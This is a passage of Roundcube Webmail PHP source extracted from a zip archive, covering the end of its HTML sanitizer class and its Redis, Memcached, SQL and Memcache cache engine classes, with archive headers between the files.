                    $uri = $this->wash_uri($node->getAttribute('href'), false, false);
                    if (!$uri) {
                        $dump .= '<!-- link ignored -->';
                        break;
                    }

                    $node->setAttribute('href', (string) $uri);
                }
                else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
                    && self::attribute_value($node, 'attributename', 'href')
                ) {
                    // Insecure svg tags
                    $dump .= "<!-- $tagName blocked -->";
                    break;
                }

                if (!empty($this->handlers[$tagName])) {
                    $callback = $this->handlers[$tagName];
                    $dump .= call_user_func($callback, $tagName,
                        $this->wash_attribs($node), $this->dumpHtml($node, $level), $this);
                }
                else if (isset($this->_html_elements[$tagName])) {
                    $content = $this->dumpHtml($node, $level);
                    $dump .= '<' . $node->nodeName;

                    if ($tagName == 'svg') {
                        $xpath = new DOMXPath($node->ownerDocument);
                        foreach ($xpath->query('namespace::*') as $ns) {
                            if ($ns->nodeName != 'xmlns:xml') {
                                $dump .= sprintf(' %s="%s"',
                                    $ns->nodeName,
                                    htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
                                );
                            }
                        }
                    }
                    else if ($tagName == 'textarea' && strpos($content, '<') !== false) {
                        $content = htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, $this->config['charset']);
                    }

                    $dump .= $this->wash_attribs($node);

                    if ($content === '' && ($this->is_xml || isset($this->_void_elements[$tagName]))) {
                        $dump .= ' />';
                    }
                    else {
                        $dump .= '>' . $content . '</' . $node->nodeName . '>';
                    }
                }
                else if (isset($this->_ignore_elements[$tagName])) {
                    $dump .= '<!-- ' . htmlspecialchars($node->nodeName, ENT_QUOTES, $this->config['charset']) . ' not allowed -->';
                }
                else {
                    $dump .= '<!-- ' . htmlspecialchars($node->nodeName, ENT_QUOTES, $this->config['charset']) . ' ignored -->';
                    $dump .= $this->dumpHtml($node, $level); // ignore tags not its content
                }
                break;

            case XML_CDATA_SECTION_NODE:
            case XML_TEXT_NODE:
                $dump .= htmlspecialchars($node->nodeValue, ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE, $this->config['charset']);
                break;

            case XML_HTML_DOCUMENT_NODE:
                $dump .= $this->dumpHtml($node, $level);
                break;
            }
        }
        while($node = $node->nextSibling);

        return $dump;
    }

    /**
     * Main function, give it untrusted HTML, tell it if you allow loading
     * remote images and give it a map to convert "cid:" urls.
     *
     * @param string $html HTML content
     *
     * @return string Washed HTML content
     */
    public function wash($html)
    {
        $this->extlinks = false;

        $html = $this->cleanup($html);

        // Find base URL for images
        if (preg_match('/<base\s+href=[\'"]*([^\'"]+)/is', $html, $matches)) {
            $this->config['base_url'] = $matches[1];
        }
        else {
            $this->config['base_url'] = '';
        }

        // Detect max nesting level (for dumpHTML) (#1489110)
        $this->max_nesting_level = (int) @ini_get('xdebug.max_nesting_level');

        // SVG need to be parsed as XML
        $this->is_xml = !preg_match('/<(html|head|body)/i', $html) && stripos($html, '<svg') !== false;
        $method       = $this->is_xml ? 'loadXML' : 'loadHTML';

        // DOMDocument does not support HTML5, try Masterminds parser if available
        if (!$this->is_xml && class_exists('Masterminds\HTML5')) {
            try {
                // disabled_html_ns=true is a workaround for the performance issue
                // https://github.com/Masterminds/html5-php/issues/181
                $html5 = new Masterminds\HTML5(['disable_html_ns' => true]);
                $node  = $html5->loadHTML($this->fix_html5($html));
            }
            catch (Exception $e) {
                // ignore, fallback to DOMDocument
            }
        }

        if (empty($node)) {
            // Charset seems to be ignored (probably if defined in the HTML document)
            $node = new DOMDocument('1.0', $this->config['charset']);
            @$node->{$method}($html, LIBXML_PARSEHUGE | LIBXML_COMPACT | LIBXML_NONET);
        }

        unset($html); // release some memory

        return $this->dumpHtml($node);
    }

    /**
     * Getter for config parameters
     *
     * @param string $prop Configuration parameter name
     *
     * @return mixed Configuration parameter value
     */
    public function get_config($prop)
    {
        return $this->config[$prop] ?? null;
    }

    /**
     * Clean HTML input
     *
     * @param string $html HTML content
     *
     * @return string Clean HTML content
     */
    private function cleanup($html)
    {
        $html = trim($html);

        // special replacements (not properly handled by washtml class)
        $html_search = [
            // space(s) between <NOBR>
            '/(<\/nobr>)(\s+)(<nobr>)/i',
            // PHP bug #32547 workaround: remove title tag
            '/<title[^>]*>.*<\/title>/iU',
            // remove <!doctype> before BOM (#1490291)
            '/<\!doctype[^>]+>[^<]*/im',
            // byte-order mark (only outlook?)
            '/^(\0\0\xFE\xFF|\xFF\xFE\0\0|\xFE\xFF|\xFF\xFE|\xEF\xBB\xBF)/',
            // washtml/DOMDocument cannot handle xml namespaces
            '/<html\s[^>]+>/i',
            // washtml/DOMDocument cannot handle xml namespaces
            // HTML5 parser cannot handler <?xml
            '/<\?xml[^>]*>/i',
        ];

        $html_replace = [
            '\\1'.' &nbsp; '.'\\3',
            '',
            '',
            '',
            '<html>',
            '',
        ];

        $html = preg_replace($html_search, $html_replace, $html);

        $err = ['line' => __LINE__, 'file' => __FILE__, 'message' => "Could not clean up HTML!"];
        if ($html === null && rcube_utils::preg_error($err)) {
            return '';
        }

        // Replace all of those weird MS Word quotes and other high characters
        $badwordchars = [
            "\xe2\x80\x98", // left single quote
            "\xe2\x80\x99", // right single quote
            "\xe2\x80\x9c", // left double quote
            "\xe2\x80\x9d", // right double quote
            "\xe2\x80\x94", // em dash
            "\xe2\x80\xa6"  // ellipses
        ];

        $fixedwordchars = [
            "'",
            "'",
            '"',
            '"',
            '&mdash;',
            '...'
        ];

        $html = str_replace($badwordchars, $fixedwordchars, $html);

        // FIXME: HTML comments handling could be better. The code below can break comments (#6464),
        //        we should probably do not modify content inside comments at all.

        // fix (unknown/malformed) HTML tags before "wash"
        $html = preg_replace_callback('/(<(?!\!)[\/]*)([^\s>]+)([^>]*)/', [$this, 'html_tag_callback'], $html);

        // Remove invalid HTML comments (#1487759)
        // Note: We don't want to remove valid comments, conditional comments
        // and MSOutlook comments (<!-->)
        $html = preg_replace('/<!--[a-zA-Z0-9]+>/', '', $html);

        // fix broken nested lists
        self::fix_broken_lists($html);

        // turn relative into absolute urls
        $html = self::resolve_base($html);

        return $html;
    }

    /**
     * Callback function for HTML tags fixing
     *
     * @param array $matches Matched elements (from preg_replace_callback())
     *
     * @return string Replacement string
     */
    public static function html_tag_callback($matches)
    {
        // It might be an ending of a comment, ignore (#6464)
        if (substr($matches[3], -2) == '--') {
            $matches[0] = '';
            return implode('', $matches);
        }

        $tagname = $matches[2];
        $tagname = preg_replace([
                '/:.*$/',                // Microsoft's Smart Tags <st1:xxxx>
                '/[^a-z0-9_\[\]\!?-]/i', // forbidden characters
            ], '', $tagname
        );

        // fix invalid closing tags - remove any attributes (#1489446)
        if ($matches[1] == '</') {
            $matches[3] = '';
        }

        return $matches[1] . $tagname . $matches[3];
    }

    /**
     * Convert all relative URLs according to a <base> in HTML
     *
     * @param string $body HTML body
     *
     * @return string HTML body
     */
    public static function resolve_base($body)
    {
        // check for <base href=...>
        if (preg_match('!(<base.*href=["\']?)([hftps]{3,5}://[a-z0-9/.%-]+)!i', $body, $regs)) {
            $replacer = new rcube_base_replacer($regs[2]);
            $body     = $replacer->replace($body);
        }

        return $body;
    }

    /**
     * Fix broken nested lists, they are not handled properly by DOMDocument (#1488768)
     *
     * @param string &$html HTML content
     */
    public static function fix_broken_lists(&$html)
    {
        // do two rounds, one for <ol>, one for <ul>
        foreach (['ol', 'ul'] as $tag) {
            $pos = 0;
            while (($pos = stripos($html, '<' . $tag, $pos)) !== false) {
                $pos++;

                // make sure this is an ol/ul tag
                if (!in_array($html[$pos+2], [' ', '>'])) {
                    continue;
                }

                $p      = $pos;
                $in_li  = false;
                $li_pos = 0;

                while (($p = strpos($html, '<', $p)) !== false) {
                    $tt = strtolower(substr($html, $p, 4));

                    // li open tag
                    if ($tt == '<li>' || $tt == '<li ') {
                        $in_li = true;
                        $p += 4;
                    }
                    // li close tag
                    else if ($tt == '</li' && in_array($html[$p+4], [' ', '>'])) {
                        $li_pos = $p;
                        $in_li  = false;
                        $p += 4;
                    }
                    // ul/ol closing tag
                    else if ($tt == '</' . $tag && in_array($html[$p+4], [' ', '>'])) {
                        break;
                    }
                    // nested ol/ul element out of li
                    else if (!$in_li && $li_pos && ($tt == '<ol>' || $tt == '<ol ' || $tt == '<ul>' || $tt == '<ul ')) {
                        // find closing tag of this ul/ol element
                        $element = substr($tt, 1, 2);
                        $cpos    = $p;
                        do {
                            $tpos = stripos($html, '<' . $element, $cpos+1);
                            $cpos = stripos($html, '</' . $element, $cpos+1);
                        }
                        while ($tpos !== false && $cpos !== false && $cpos > $tpos);

                        // not found, this is invalid HTML, skip it
                        if ($cpos === false) {
                            break;
                        }

                        // get element content
                        $end     = strpos($html, '>', $cpos);
                        $len     = $end - $p + 1;
                        $element = substr($html, $p, $len);

                        // move element to the end of the last li
                        $html = substr_replace($html, '', $p, $len);
                        $html = substr_replace($html, $element, $li_pos, 0);

                        $p = $end;
                    }
                    else {
                        $p++;
                    }
                }
            }
        }
    }

    /**
     * Cleanup and workarounds on input to Masterminds/HTML5
     *
     * @param string $html HTML content
     *
     * @return string HTML content
     */
    protected function fix_html5($html)
    {
        // There might be content before html/body tag, we'll move it to the body
        // We'll wrap it by a div container, it's an invalid HTML anyway
        $prefix = '';
        if (strpos($html, '<')) {
            $pos     = stripos($html, '<!DOCTYPE') ?: stripos($html, '<html') ?: stripos($html, '<body');
            $prefix  = '<div>' . substr($html, 0, $pos) . '</div>';
            $html    = substr($html, $pos);
        }

        // HTML5 requires <head> or <body> (#6713)
        // https://github.com/Masterminds/html5-php/issues/166
        if (strlen($prefix) > 0 || !preg_match('/<(head|body)/i', $html)) {
            $body_pos = stripos($html, '<body');
            $pos      = $body_pos !== false ? $body_pos : stripos($html, '<html');

            // No HTML and no BODY tag
            if ($pos === false) {
                $html = '<html><body>' . $prefix . $html;
            }
            // Either HTML or BODY tag found
            else {
                $pos  = strpos($html, '>', $pos);
                $html = substr_replace($html, ($body_pos === false ? '<body>' : '') . $prefix, $pos + 1, 0);
            }
        }

        // Workaround for HTML5 issue with "invalid" table structure (#7356)
        $html = preg_replace('|<tr>\s*<tr>|', '<tr>', $html);
        $html = preg_replace('|</tr>\s*</tr>|', '</tr>', $html);

        return $html;
    }

    /**
     * Explode css style value
     *
     * @param string $style CSS style
     *
     * @return array List of CSS rules
     */
    protected function explode_style($style)
    {
        $result = [];
        $strlen = strlen($style);
        $q      = false;

        // explode value
        for ($p = $i = 0; $i < $strlen; $i++) {
            if (($style[$i] == "\"" || $style[$i] == "'") && ($i == 0 || $style[$i-1] != "\\")) {
                if ($q == $style[$i]) {
                    $q = false;
                }
                else if (!$q) {
                    $q = $style[$i];
                }
            }

            if (!$q && $style[$i] == ' ' && ($i == 0 || !preg_match('/[,\(]/', $style[$i-1]))) {
                $result[] = substr($style, $p, $i - $p);
                $p = $i + 1;
            }
        }

        $result[] = (string) substr($style, $p);

        return $result;
    }
}
PK
h�\e�!s%program/lib/Roundcube/cache/redis.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine - Redis                                              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface implementation class for accessing Redis cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache_redis extends rcube_cache
{
    /**
     * Instance of Redis object
     *
     * @var Redis
     */
    protected static $redis;

    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        parent::__construct($userid, $prefix, $ttl, $packed, $indexed);

        $rcube = rcube::get_instance();

        $this->type  = 'redis';
        $this->debug = $rcube->config->get('redis_debug');

        self::engine();
    }

    /**
     * Get global handle for redis access
     *
     * @return object Redis
     */
    public static function engine()
    {
        if (self::$redis !== null) {
            return self::$redis;
        }

        if (!class_exists('Redis')) {
            self::$redis = false;

            rcube::raise_error([
                    'code' => 604,
                    'type' => 'redis',
                    'line' => __LINE__,
                    'file' => __FILE__,
                    'message' => "Failed to find Redis. Make sure php-redis is included"
                ],
                true, true);
        }

        $rcube = rcube::get_instance();
        $hosts = $rcube->config->get('redis_hosts');

        // host config is wrong
        if (!is_array($hosts) || empty($hosts)) {
            rcube::raise_error([
                    'code' => 604,
                    'type' => 'redis',
                    'line' => __LINE__,
                    'file' => __FILE__,
                    'message' => "Redis host not configured"
                ],
                true, true);
        }

        // only allow 1 host for now until we support clustering
        if (count($hosts) > 1) {
            rcube::raise_error([
                    'code' => 604,
                    'type' => 'redis',
                    'line' => __LINE__,
                    'file' => __FILE__,
                    'message' => "Redis cluster not yet supported"
                ],
                true, true);
        }

        self::$redis = new Redis;
        $failures    = 0;

        foreach ($hosts as $redis_host) {
            // explode individual fields
            list($host, $port, $database, $password) = array_pad(explode(':', $redis_host, 4), 4, null);

            if (substr($redis_host, 0, 7) === 'unix://') {
                $host = substr($port, 2);
                $port = 0;
            }
            else {
                // set default values if not set
                $host = $host ?: '127.0.0.1';
                $port = $port ?: 6379;
            }

            try {
                if (self::$redis->connect($host, $port) === false) {
                    throw new Exception("Could not connect to Redis server. Please check host and port.");
                }

                if ($password !== null && self::$redis->auth($password) === false) {
                    throw new Exception("Could not authenticate with Redis server. Please check password.");
                }

                if ($database !== null && self::$redis->select($database) === false) {
                    throw new Exception("Could not select Redis database. Please check database setting.");
                }
            }
            catch (Exception $e) {
                rcube::raise_error($e, true, false);
                $failures++;
            }
        }

        if (count($hosts) === $failures) {
            self::$redis = false;
        }

        if (self::$redis) {
            try {
                $ping = self::$redis->ping();
                if ($ping !== true && $ping !== "+PONG") {
                    throw new Exception("Redis connection failure. Ping failed.");
                }
            }
            catch (Exception $e) {
                self::$redis = false;
                rcube::raise_error($e, true, false);
            }
        }

        return self::$redis;
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Remove expired records
     */
    public static function gc()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache internal key name
     *
     * @return mixed Cached value
     */
    protected function get_item($key)
    {
        if (!self::$redis) {
            return false;
        }

        try {
            $data = self::$redis->get($key);
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, false);
            return false;
        }

        if ($this->debug) {
            $this->debug('get', $key, $data);
        }

        return $data;
    }

    /**
     * Adds entry into Redis.
     *
     * @param string $key  Cache internal key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function add_item($key, $data)
    {
        if (!self::$redis) {
            return false;
        }

        try {
            $result = self::$redis->setEx($key, $this->ttl, $data);
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, false);
            return false;
        }

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Deletes entry from Redis.
     *
     * @param string $key Cache internal key name
     *
     * @return bool True on success, False on failure
     */
    protected function delete_item($key)
    {
        if (!self::$redis) {
            return false;
        }

        try {
            $fname  = method_exists(self::$redis, 'del') ? 'del' : 'delete';
            $result = self::$redis->$fname($key);
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, false);
            return false;
        }

        if ($this->debug) {
            $this->debug('delete', $key, null, $result);
        }

        return $result;
    }
}
PK
h�\�ա���)program/lib/Roundcube/cache/memcached.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine - Memcache                                           |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface implementation class for accessing Memcached cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache_memcached extends rcube_cache
{
    /**
     * Instance of memcached handler
     *
     * @var Memcached
     */
    protected static $memcache;

    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        parent::__construct($userid, $prefix, $ttl, $packed, $indexed);

        $this->type  = 'memcache';
        $this->debug = rcube::get_instance()->config->get('memcache_debug');

        // Maximum TTL is 30 days, bigger values are treated by Memcached
        // as unix timestamp which is not what we want
        if ($this->ttl > 60*60*24*30) {
            $this->ttl = 60*60*24*30;
        }

        self::engine();
    }

    /**
     * Get global handle for memcache access
     *
     * @return object Memcache
     */
    public static function engine()
    {
        if (self::$memcache !== null) {
            return self::$memcache;
        }

        // no memcache support in PHP
        if (!class_exists('Memcached')) {
            self::$memcache = false;

            rcube::raise_error([
                    'code' => 604, 'type' => 'memcache', 'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Failed to find Memcached. Make sure php-memcached is installed"
                ],
                true, true);
        }

        // add all configured hosts to pool
        $rcube          = rcube::get_instance();
        $pconnect       = $rcube->config->get('memcache_pconnect', true);
        $timeout        = $rcube->config->get('memcache_timeout', 1);
        $retry_interval = $rcube->config->get('memcache_retry_interval', 15);
        $hosts          = $rcube->config->get('memcache_hosts');
        $persistent_id  = $pconnect ? ('rc' . md5(serialize($hosts))) : null;

        self::$memcache = new Memcached($persistent_id);

        self::$memcache->setOptions([
                Memcached::OPT_CONNECT_TIMEOUT => $timeout * 1000,
                Memcached::OPT_RETRY_TIMEOUT   => $timeout,
                Memcached::OPT_DISTRIBUTION    => Memcached::DISTRIBUTION_CONSISTENT,
                Memcached::OPT_COMPRESSION     => true,
        ]);

        if (!$pconnect || !count(self::$memcache->getServerList())) {
            foreach ((array) $hosts as $host) {
                if (substr($host, 0, 7) != 'unix://') {
                    list($host, $port) = explode(':', $host);
                    if (!$port) $port = 11211;
                }
                else {
                    $host = substr($host, 7);
                    $port = 0;
                }

                self::$memcache->addServer($host, $port);
            }
        }

        // test connection
        $result = self::$memcache->increment('__CONNECTIONTEST__');

        if ($result === false && ($res_code = self::$memcache->getResultCode()) !== Memcached::RES_NOTFOUND) {
            self::$memcache = false;

            rcube::raise_error([
                    'code' => 604, 'type' => 'memcache', 'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Memcache connection failure (code: $res_code)."
                ],
                true, false);
        }

        return self::$memcache;
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Remove expired records of all caches
     */
    public static function gc()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache internal key name
     *
     * @return mixed Cached value
     */
    protected function get_item($key)
    {
        if (!self::$memcache) {
            return false;
        }

        $data = self::$memcache->get($key);

        if ($this->debug) {
            $this->debug('get', $key, $data);
        }

        return $data;
    }

    /**
     * Adds entry into the cache.
     *
     * @param string $key  Cache internal key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function add_item($key, $data)
    {
        if (!self::$memcache) {
            return false;
        }

        $result = self::$memcache->set($key, $data, $this->ttl);

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Deletes entry from the cache
     *
     * @param string $key Cache internal key name
     *
     * @return bool True on success, False on failure
     */
    protected function delete_item($key)
    {
        if (!self::$memcache) {
            return false;
        }

        // #1488592: use 2nd argument
        $result = self::$memcache->delete($key, 0);

        if ($this->debug) {
            $this->debug('delete', $key, null, $result);
        }

        return $result;
    }
}
PK
h�\�x_���"program/lib/Roundcube/cache/db.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine - SQL DB                                             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface implementation class for accessing SQL Database cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache_db extends rcube_cache
{
    /**
     * Instance of database handler
     *
     * @var rcube_db
     */
    protected $db;

    /**
     * (Escaped) Cache table name (cache or cache_shared)
     *
     * @var string
     */
    protected $table;

    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        parent::__construct($userid, $prefix, $ttl, $packed, $indexed);

        $rcube = rcube::get_instance();

        $this->type  = 'db';
        $this->db    = $rcube->get_dbh();
        $this->table = $this->db->table_name($userid ? 'cache' : 'cache_shared', true);

        $this->refresh_time *= 2;
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        if ($this->ttl) {
            $this->db->query(
                "DELETE FROM {$this->table} WHERE "
                . ($this->userid ? "`user_id` = {$this->userid} AND " : "")
                . "`cache_key` LIKE ?"
                . " AND `expires` < " . $this->db->now(),
                $this->prefix . '.%');
        }
    }

    /**
     * Remove expired records of all caches
     */
    public static function gc()
    {
        $rcube = rcube::get_instance();
        $db    = $rcube->get_dbh();

        $db->query("DELETE FROM " . $db->table_name('cache', true) . " WHERE `expires` < " . $db->now());
        $db->query("DELETE FROM " . $db->table_name('cache_shared', true) . " WHERE `expires` < " . $db->now());
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache key name
     *
     * @return mixed Cached value
     */
    protected function read_record($key)
    {
        $sql_result = $this->db->query(
                "SELECT `data`, `cache_key` FROM {$this->table} WHERE "
                . ($this->userid ? "`user_id` = {$this->userid} AND " : "")
                ."`cache_key` = ?",
                $this->prefix . '.' . $key);

        $data = null;

        if ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            if (strlen($sql_arr['data']) > 0) {
                $data = $this->unserialize($sql_arr['data']);
            }

            $this->db->reset();
        }

        if (!$this->indexed) {
            $this->cache[$key] = $data;
        }

        return $data;
    }

    /**
     * Writes single cache record into DB.
     *
     * @param string   $key  Cache key name
     * @param mixed    $data Serialized cache data
     * @param DateTime $ts   Timestamp
     *
     * @return bool True on success, False on failure
     */
    protected function store_record($key, $data, $ts = null)
    {
        $value = $this->serialize($data);
        $size  = strlen($value);

        // don't attempt to write too big data sets
        if ($size > $this->max_packet_size()) {
            trigger_error("rcube_cache: max_packet_size ($this->max_packet) exceeded for key $key. Tried to write $size bytes", E_USER_WARNING);
            return false;
        }

        $db_key = $this->prefix . '.' . $key;

        // Remove NULL rows (here we don't need to check if the record exist)
        if ($value == 'N;') {
            $result = $this->db->query(
                "DELETE FROM {$this->table} WHERE "
                . ($this->userid ? "`user_id` = {$this->userid} AND " : "")
                ."`cache_key` = ?",
                $db_key);

            return !$this->db->is_error($result);
        }

        $expires = $this->db->param($this->ttl ? $this->db->now($this->ttl) : 'NULL', rcube_db::TYPE_SQL);
        $pkey    = ['cache_key' => $db_key];

        if ($this->userid) {
            $pkey['user_id'] = $this->userid;
        }

        $result = $this->db->insert_or_update(
            $this->table, $pkey, ['expires', 'data'], [$expires, $value]
        );

        $count = $this->db->affected_rows($result);

        return $count > 0;
    }

    /**
     * Deletes the cache record(s).
     *
     * @param string $key         Cache key name or pattern
     * @param bool   $prefix_mode Enable it to clear all keys starting
     *                            with prefix specified in $key
     */
    protected function remove_record($key = null, $prefix_mode = false)
    {
        // Remove all keys (in specified cache)
        if ($key === null) {
            $where = "`cache_key` LIKE " . $this->db->quote($this->prefix . '.%');
            $this->cache = [];
        }
        // Remove keys by name prefix
        else if ($prefix_mode) {
            $where = "`cache_key` LIKE " . $this->db->quote($this->prefix . '.' . $key . '%');
            foreach (array_keys($this->cache) as $k) {
                if (strpos($k, $key) === 0) {
                    $this->cache[$k] = null;
                }
            }
        }
        // Remove one key by name
        else {
            $where = "`cache_key` = " . $this->db->quote($this->prefix . '.' . $key);
            $this->cache[$key] = null;
        }

        $this->db->query(
            "DELETE FROM {$this->table} WHERE "
            . ($this->userid ? "`user_id` = {$this->userid} AND " : "") . $where
        );
    }

    /**
     * Serializes data for storing
     */
    protected function serialize($data)
    {
        return $this->db->encode($data, $this->packed);
    }

    /**
     * Unserializes serialized data
     */
    protected function unserialize($data)
    {
        return $this->db->decode($data, $this->packed);
    }

    /**
     * Determine the maximum size for cache data to be written
     */
    protected function max_packet_size()
    {
        if ($this->max_packet < 0) {
            $this->max_packet = 2097152; // default/max is 2 MB

            if ($value = $this->db->get_variable('max_allowed_packet', $this->max_packet)) {
                $this->max_packet = $value;
            }

            $this->max_packet -= 2000;
        }

        return $this->max_packet;
    }
}
PK
h�\I%�

(program/lib/Roundcube/cache/memcache.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine - Memcache                                           |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface implementation class for accessing Memcache cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache_memcache extends rcube_cache
{
    /**
     * Instance of memcache handler
     *
     * @var Memcache
     */
    protected static $memcache;

    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        parent::__construct($userid, $prefix, $ttl, $packed, $indexed);

        $this->type  = 'memcache';
        $this->debug = rcube::get_instance()->config->get('memcache_debug');

        self::engine();
    }

    /**
     * Get global handle for memcache access
     *
     * @return object Memcache
     */
    public static function engine()
    {
        if (self::$memcache !== null) {
            return self::$memcache;
        }

        // no memcache support in PHP
        if (!class_exists('Memcache')) {
            self::$memcache = false;

            rcube::raise_error([
                    'code' => 604,
                    'type' => 'memcache',
                    'line' => __LINE__,
                    'file' => __FILE__,
                    'message' => "Failed to find Memcache. Make sure php-memcache is included"
                ],
                true, true);
        }

        // add all configured hosts to pool
        $rcube = rcube::get_instance();
        $pconnect       = $rcube->config->get('memcache_pconnect', true);
        $timeout        = $rcube->config->get('memcache_timeout', 1);
        $retry_interval = $rcube->config->get('memcache_retry_interval', 15);
        $seen           = [];
        $available      = 0;

        // Callback for memcache failure
        $error_callback = function($host, $port) use ($seen, $available) {
            // only report once
            if (!$seen["$host:$port"]++) {
                $available--;
                rcube::raise_error([
                        'code' => 604, 'type' => 'memcache',
                        'line' => __LINE__, 'file' => __FILE__,
                        'message' => "Memcache failure on host $host:$port"
                    ],
                    true, false);
            }
        };

        self::$memcache = new Memcache;

        foreach ((array) $rcube->config->get('memcache_hosts') as $host) {
            if (substr($host, 0, 7) != 'unix://') {
                list($host, $port) = explode(':', $host);
                if (!$port) $port = 11211;
            }
            else {
                $port = 0;
            }

            $available += intval(self::$memcache->addServer(
                $host, $port, $pconnect, 1, $timeout, $retry_interval, false, $error_callback));
        }

        // test connection and failover (will result in $available == 0 on complete failure)
        self::$memcache->increment('__CONNECTIONTEST__', 1);  // NOP if key doesn't exist

        if (!$available) {
            self::$memcache = false;
        }

        return self::$memcache;
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Remove expired records of all caches
     */
    public static function gc()
    {
        // No need for GC, entries are expunged automatically
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache internal key name
     *
     * @return mixed Cached value
     */
    protected function get_item($key)
    {
        if (!self::$memcache) {
            return false;
        }

        $data = self::$memcache->get($key);

        if ($this->debug) {
            $this->debug('get', $key, $data);
        }

        return $data;
    }

    /**
     * Adds entry into the cache.
     *
     * @param string $key  Cache internal key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function add_item($key, $data)
    {
        if (!self::$memcache) {
            return false;
        }

        $result = self::$memcache->replace($key, $data, MEMCACHE_COMPRESSED, $this->ttl);

        if (!$result) {
            $result = self::$memcache->set($key, $data, MEMCACHE_COMPRESSED, $this->ttl);
        }

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Deletes entry from the cache
     *
     * @param string $key Cache internal key name
     *
     * @return bool True on success, False on failure
     */
    protected function delete_item($key)
    {
        if (!self::$memcache) {
            return false;
        }

        // #1488592: use 2nd argument
        $result = self::$memcache->delete($key, 0);

        if ($this->debug) {
            $this->debug('delete', $key, null, $result);
        }

        return $result;
    }
}
PK
h�\�ǚ-rr#program/lib/Roundcube/cache/apc.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine - APC                                                |
 +-----------------------------------------------------------------------+
